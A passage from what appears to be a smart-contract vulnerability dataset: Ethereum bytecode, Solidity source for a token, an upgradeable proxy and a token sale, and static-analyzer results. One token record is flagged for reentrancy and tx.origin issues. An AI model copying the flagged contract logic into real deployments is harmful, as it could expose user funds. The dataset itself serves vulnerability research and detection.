16336001600160a01b0316146108f65760405162461bcd60e51b815260040161055890611d34565b6001600160a01b03166000908152600c60205260409020805460ff19169055565b6000610675338484611172565b6000546001600160a01b0316336001600160a01b0316146109575760405162461bcd60e51b815260040161055890611d34565b600b5460ff16156109aa5760405162461bcd60e51b815260206004820152601860248201527f4c697175696469747920616c72656164792061646465642e00000000000000006044820152606401610558565b600880546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915547906109e83082670de0b6b3a7640000610ea3565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610a2157600080fd5b505afa158015610a35573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a599190611adb565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610aa157600080fd5b505afa158015610ab5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ad99190611adb565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610b2157600080fd5b505af1158015610b35573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b599190611adb565b600780546001600160a01b0392831661010002610100600160a81b03199091161790556008541663f305d7198330610ba6816001600160a01b03166000908152600e602052604090205490565b6040516001600160e01b031960e086901b1681526001600160a01b039092166004830152602482015260006044820181905260648201523360848201524260a482015260c4016060604051808303818588803b158015610c0557600080fd5b505af1158015610c19573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610c3e9190611cb1565b505060075460085460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015261010090920416915063095ea7b390604401602060405180830381600087803b158015610c9757600080fd5b505af1158015610cab573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ccf9190611c6a565b5050600b805460ff1916600117905550565b6000546001600160a01b0316336001600160a01b031614610d145760405162461bcd60e51b815260040161055890611d34565b60005b81518110156106e6576001600d6000848481518110610d3857610d38611eb6565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610d7481611e85565b915050610d17565b6000546001600160a01b0316336001600160a01b031614610daf5760405162461bcd60e51b815260040161055890611d34565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b0316336001600160a01b031614610e3d5760405162461bcd60e51b815260040161055890611d34565b6001600160a01b03166000908152600c60205260409020805460ff19166001179055565b600061074d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061141a565b6001600160a01b038316610f055760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610558565b6001600160a01b038216610f665760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610558565b6001600160a01b038381166000818152600f602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000546001600160a01b0316336001600160a01b031614610ffa5760405162461bcd60e51b815260040161055890611d34565b6001600160a01b038216600090815260036020526040902054806110e657600454612904906110299084611448565b111561103457600080fd5b6001805480820182557fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6018390556002805480830182556000919091527f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace0180546001600160a01b0319166001600160a01b03861617905580546110b89190611e33565b6001600160a01b0384166000908152600360205260409020556004546110de9083611448565b600455505050565b6000600182815481106110fb576110fb611eb6565b9060005260206000200154905061290461112a826111248660045461144890919063ffffffff16565b906114a7565b111561113557600080fd5b826001838154811061114957611149611eb6565b6000918252602090912001556004546111689082906111249086611448565b600455505b505050565b6001600160a01b0383166111d65760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610558565b6001600160a01b0382166112385760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610558565b6000811161129a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610558565b6001600160a01b0383166000908152600c602052604090205460ff161580156112dc57506001600160a01b0382166000908152600c602052604090205460ff16155b80156112f85750326000908152600c602052604090205460ff16155b61130157600080fd5b61130a826114e9565b1561137a5760115460ff1615611345576009546001600160a01b0383166000908152600e60205260409020541061134057600080fd5b61137a565b600a5481111561135457600080fd5b6009546001600160a01b0383166000908152600e60205260409020541061137a57600080fd5b60006113868484611520565b156113ce5760115460ff1661139a57600080fd5b6113a48484611567565b156113b857600a548211156113b857600080fd5b6113c38484846115c3565b90506113ce8461163a565b6113da8484848461166c565b50505050565b600081848411156114045760405162461bcd60e51b81526004016105589190611cdf565b5060006114118486611e33565b95945050505050565b6000818361143b5760405162461bcd60e51b81526004016105589190611cdf565b5060006114118486611df2565b6000806114558385611dda565b90508381101561074d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610558565b600061074d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113e0565b6007546000906001600160a01b0383811661010090920416148015906106795750506008546001600160a01b039081169116141590565b6001600160a01b0382166000908152600d602052604081205460ff168061155f57506001600160a01b0382166000908152600d602052604090205460ff165b159392505050565b6007546000906001600160a01b038481166101009092041614801561159a57506008546001600160a01b03838116911614155b801561074d5750506001600160a01b03166000908152600d602052604090205460ff1615919050565b6001600160a01b0383166000908152600d6020526040812054819060ff168061160457506001600160a01b0384166000908152600d602052604090205460ff165b1561161057905061074d565b61141161163361161f60045490565b60125461162d908790610e61565b90611756565b8290611448565b611643816117d5565b1561166957306000908152600e602052604090205461166181611806565b6106e6611989565b50565b600061167883836114a7565b6001600160a01b0386166000908152600e602052604090205490915061169e90846114a7565b6001600160a01b038087166000908152600e602052604080822093909355908616815220546116cd9082611448565b6001600160a01b0385166000908152600e60205260408082209290925530815220546116f99083611448565b306000908152600e602090815260409182902092909255518281526001600160a01b0386811692908816917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050565b60008261176557506000610679565b60006117718385611e14565b90508261177e8583611df2565b1461074d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610558565b601154600090610100900460ff1615801561067957505060075461010090046001600160a01b039081169116141590565b6011805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061184a5761184a611eb6565b6001600160a01b03928316602091820292909201810191909152600854604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561189e57600080fd5b505afa1580156118b2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118d69190611adb565b816001815181106118e9576118e9611eb6565b6001600160a01b03928316602091820292909201015260085461190f9130911684610ea3565b60085460405163791ac94760e01b81526001600160a01b039091169063791ac94790611948908590600090869030904290600401611d69565b600060405180830381600087803b15801561196257600080fd5b505af1158015611976573d6000803e3d6000fd5b50506011805461ff001916905550505050565b601054479081116119975750565b60006119ae601054836114a790919063ffffffff16565b905060006119ba6119dd565b905060018110156119ca57505050565b6119d482826119ec565b50504760105550565b60008061067961163360045490565b60015b60015481101561116d57600060018281548110611a0e57611a0e611eb6565b90600052602060002001549050600060028381548110611a3057611a30611eb6565b60009182526020822001546001600160a01b03169150611a5a85611a548886611756565b90610e61565b90506001811115611a9d576040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015611a9b573d6000803e3d6000fd5b505b5050508080611aab90611e85565b9150506119ef565b80356108af81611ee2565b600060208284031215611ad057600080fd5b813561074d81611ee2565b600060208284031215611aed57600080fd5b815161074d81611ee2565b60008060408385031215611b0b57600080fd5b8235611b1681611ee2565b946020939093013593505050565b60008060408385031215611b3757600080fd5b8235611b4281611ee2565b91506020830135611b5281611ee2565b809150509250929050565b600080600060608486031215611b7257600080fd5b8335611b7d81611ee2565b92506020840135611b8d81611ee2565b929592945050506040919091013590565b60006020808385031215611bb157600080fd5b823567ffffffffffffffff80821115611bc957600080fd5b818501915085601f830112611bdd57600080fd5b813581811115611bef57611bef611ecc565b8060051b604051601f19603f83011681018181108582111715611c1457611c14611ecc565b604052828152858101935084860182860187018a1015611c3357600080fd5b600095505b83861015611c5d57611c4981611ab3565b855260019590950194938601938601611c38565b5098975050505050505050565b600060208284031215611c7c57600080fd5b8151801515811461074d57600080fd5b600060208284031215611c9e57600080fd5b813562ffffff8116811461074d57600080fd5b600080600060608486031215611cc657600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b81811015611d0c57858101830151858201604001528201611cf0565b81811115611d1e576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611db95784516001600160a01b031683529383019391830191600101611d94565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611ded57611ded611ea0565b500190565b600082611e0f57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611e2e57611e2e611ea0565b500290565b600082821015611e4557611e45611ea0565b500390565b600181811c90821680611e5e57607f821691505b60208210811415611e7f57634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415611e9957611e99611ea0565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461166957600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122025ad66e906c930bfff52edd5661c4c6f8780a220f93359965f4a6afed0907b1564736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 1,171 |
0x3772426dddf956aa16f0ca1e1708b5da40fcdb32 | /**
*Submitted for verification at Etherscan.io on 2021-03-24
*/
/**
*Submitted for verification at Etherscan.io on 2020-10-09
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
abstract contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
fallback () payable external {
_fallback();
}
/**
* @dev Receive function.
* Implemented entirely in `_fallback`.
*/
receive () payable external {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal virtual view returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal virtual {
}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
/**
* @title UpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
contract UpgradeabilityProxy is Proxy {
/**
* @dev Contract constructor.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return impl Address of the current implementation
*/
function _implementation() internal override view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
/**
* @title AdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract AdminUpgradeabilityProxy is UpgradeabilityProxy {
/**
* Contract constructor.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable {
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin {
_upgradeTo(newImplementation);
(bool success,) = newImplementation.delegatecall(data);
require(success);
}
/**
* @return adm The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal override virtual {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
super._willFallback();
}
} | 0x60806040526004361061004e5760003560e01c80633659cfe6146100675780634f1ef286146100b85780635c60da1b146101515780638f283970146101a8578063f851a440146101f95761005d565b3661005d5761005b610250565b005b610065610250565b005b34801561007357600080fd5b506100b66004803603602081101561008a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061026a565b005b61014f600480360360408110156100ce57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019064010000000081111561010b57600080fd5b82018360208201111561011d57600080fd5b8035906020019184600183028401116401000000008311171561013f57600080fd5b90919293919293905050506102bf565b005b34801561015d57600080fd5b50610166610395565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156101b457600080fd5b506101f7600480360360208110156101cb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506103ed565b005b34801561020557600080fd5b5061020e610566565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102586105d1565b610268610263610667565b610698565b565b6102726106be565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156102b3576102ae816106ef565b6102bc565b6102bb610250565b5b50565b6102c76106be565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561038757610303836106ef565b60008373ffffffffffffffffffffffffffffffffffffffff168383604051808383808284378083019250505092505050600060405180830381855af49150503d806000811461036e576040519150601f19603f3d011682016040523d82523d6000602084013e610373565b606091505b505090508061038157600080fd5b50610390565b61038f610250565b5b505050565b600061039f6106be565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156103e1576103da610667565b90506103ea565b6103e9610250565b5b90565b6103f56106be565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561055a57600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156104ae576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603681526020018061082f6036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6104d76106be565b82604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a16105558161073e565b610563565b610562610250565b5b50565b60006105706106be565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156105b2576105ab6106be565b90506105bb565b6105ba610250565b5b90565b600080823b905060008111915050919050565b6105d96106be565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561065d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260328152602001806107fd6032913960400191505060405180910390fd5b61066561076d565b565b6000807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc60001b9050805491505090565b3660008037600080366000845af43d6000803e80600081146106b9573d6000f35b3d6000fd5b6000807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610360001b9050805491505090565b6106f88161076f565b8073ffffffffffffffffffffffffffffffffffffffff167fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b60405160405180910390a250565b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610360001b90508181555050565b565b610778816105be565b6107cd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603b815260200180610865603b913960400191505060405180910390fd5b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc60001b9050818155505056fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a2646970667358221220620ed1c80b3ef274dea881ce48cdc535e711a3a266d943b12ed0d97ce46e0bd764736f6c63430006080033 | {"success": true, "error": null, "results": {}} | 1,172 |
0x20f5559b14b98a0f6f61b7dc9a75dcdfe6f61f86 | pragma solidity ^0.4.24;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
assert(a == b * c + a % b);
return c;
}
}
contract Ownable {
address public owner;
event SetOwner(address indexed oldOwner, address indexed newOwner);
constructor() internal {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function setOwner(address _newOwner) external onlyOwner {
emit SetOwner(owner, _newOwner);
owner = _newOwner;
}
}
contract Saleable is Ownable {
address public saler;
event SetSaler(address indexed oldSaler, address indexed newSaler);
modifier onlySaler() {
require(msg.sender == saler);
_;
}
function setSaler(address _newSaler) external onlyOwner {
emit SetSaler(saler, _newSaler);
saler = _newSaler;
}
}
contract Pausable is Ownable {
bool public paused = false;
event Pause();
event Unpause();
modifier notPaused() {
require(!paused);
_;
}
modifier isPaused() {
require(paused);
_;
}
function pause() onlyOwner notPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner isPaused public {
paused = false;
emit Unpause();
}
}
contract ERC20Interface {
function totalSupply() public view returns (uint256);
function decimals() public view returns (uint8);
function balanceOf(address _owner) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function allowance(address _owner, address _spender) public view returns (uint256);
function approve(address _spender, uint256 _value) public returns (bool);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandToken is ERC20Interface {
using SafeMath for uint256;
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
function totalSupply() public view returns (uint256) {
return totalSupply;
}
function decimals() public view returns (uint8) {
return decimals;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
}
contract BurnableToken is StandToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(burner, _value);
}
}
contract IDCToken is BurnableToken, Pausable, Saleable {
address public addrTeam;
address public addrSale;
address public addrMine;
mapping(address => uint256) public tokenAngel;
mapping(address => uint256) public tokenPrivate;
mapping(address => uint256) public tokenCrowd;
uint256 public release = 0;
uint256 private teamLocked = 0;
uint256 constant private DAY_10 = 10 days;
uint256 constant private DAY_90 = 90 days;
uint256 constant private DAY_120 = 120 days;
uint256 constant private DAY_150 = 150 days;
uint256 constant private DAY_180 = 180 days;
uint256 constant private DAY_360 = 360 days;
uint256 constant private DAY_720 = 720 days;
event TransferToken(uint8 stage, address indexed to, uint256 value);
event TokenRelease(address caller, uint256 time);
constructor(address _team, address _sale, address _mine) public {
name = "IDC Token";
symbol = "IT";
decimals = 18;
totalSupply = 3*10**9*10**uint256(decimals); //3 billion
addrTeam = _team;
addrSale = _sale;
addrMine = _mine;
balances[_team] = totalSupply.mul(2).div(5); //40% for team
balances[_sale] = totalSupply.mul(1).div(5); //20% for sale
balances[_mine] = totalSupply.mul(2).div(5); //40% for mining
teamLocked = balances[_team];
emit Transfer(0,_team,balances[_team]);
emit Transfer(0,_sale,balances[_sale]);
emit Transfer(0,_mine,balances[_mine]);
}
function transfer(address _to, uint256 _value) notPaused public returns (bool) {
if(msg.sender == addrTeam || tokenAngel[msg.sender] > 0 || tokenPrivate[msg.sender] > 0) {
require(balanceOfUnlocked(msg.sender) >= _value);
}
StandToken.transfer(_to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) notPaused public returns (bool) {
if(_from == addrTeam || tokenAngel[_from] > 0 || tokenPrivate[_from] > 0) {
require(balanceOfUnlocked(_from) >= _value);
}
StandToken.transferFrom(_from, _to, _value);
return true;
}
function balanceOfUnlocked(address _sender) public view returns (uint256) {
require(release > 0 && now > release);
uint256 tmPast = now.sub(release);
uint256 balance = balanceOf(_sender);
if(_sender == addrTeam) {
if(tmPast < DAY_180) {
balance = balance.sub(teamLocked);
}
else if(tmPast >= DAY_180 && tmPast < DAY_360) {
balance = balance.sub(teamLocked.mul(7).div(10));
}
else if(tmPast >= DAY_360 && tmPast < DAY_720) {
balance = balance.sub(teamLocked.mul(4).div(10));
}
}
if(tokenAngel[_sender] > 0) {
if(tmPast < DAY_120) {
balance = balance.sub(tokenAngel[_sender]);
}
else if(tmPast >= DAY_120 && tmPast < DAY_150) {
balance = balance.sub(tokenAngel[_sender].mul(7).div(10));
}
else if(tmPast >= DAY_150 && tmPast < DAY_180) {
balance = balance.sub(tokenAngel[_sender].mul(4).div(10));
}
}
if(tokenPrivate[_sender] > 0) {
if(tmPast < DAY_90) {
balance = balance.sub(tokenPrivate[_sender].div(2));
}
}
return balance;
}
function transferToken(uint8 _stage, address _to, uint256 _tokens) onlySaler external payable {
require(_stage >= 0 && _stage <= 2);
if(_stage == 0) {
tokenAngel[_to] = tokenAngel[_to].add(_tokens);
}
else if(_stage == 1) {
tokenPrivate[_to] = tokenPrivate[_to].add(_tokens);
}
else if(_stage == 2) {
tokenCrowd[_to] = tokenCrowd[_to].add(_tokens);
}
balances[addrSale] = balances[addrSale].sub(_tokens);
balances[_to] = balances[_to].add(_tokens);
emit Transfer(addrSale, _to, _tokens);
emit TransferToken(_stage, _to, _tokens);
}
function burnToken(uint256 _tokens) onlySaler external returns (bool) {
require(_tokens > 0);
balances[addrSale] = balances[addrSale].sub(_tokens);
totalSupply = totalSupply.sub(_tokens);
emit Burn(addrSale, _tokens);
}
function tokenRelease() onlySaler external returns (bool) {
require(release == 0);
release = now + DAY_10;
emit TokenRelease(msg.sender, release);
return true;
}
}
contract IDCSale is Pausable {
using SafeMath for uint256;
IDCToken private token;
address public beneficiary;
enum Stage { Angel, Private, Crowd, Finalized, Failed }
Stage private stage = Stage.Angel;
uint256 public stageBegin = 0;
uint256 public stageLength = DAY_30;
uint256 public angelGoal = 0;
uint256 public angelSaled = 0;
uint256 public privGoal = 0;
uint256 public privSaled = 0;
uint256 private angelSoftCap = 0;
uint256 constant private DAY_10 = 10 days;
uint256 constant private DAY_20 = 20 days;
uint256 constant private DAY_30 = 30 days;
uint256 constant private MIN_ANGLE = 500 ether;
uint256 constant private MIN_PRIV = 50 ether;
mapping(address => uint256) public recvEthers;
event RecvEther(address sender, uint256 ethers);
event WithdrawEther(address sender, uint256 ethers);
event RefundEther(address sender, uint256 ethers);
constructor(address _token, address _beneficiary) public {
require(_token != 0 && _beneficiary != 0);
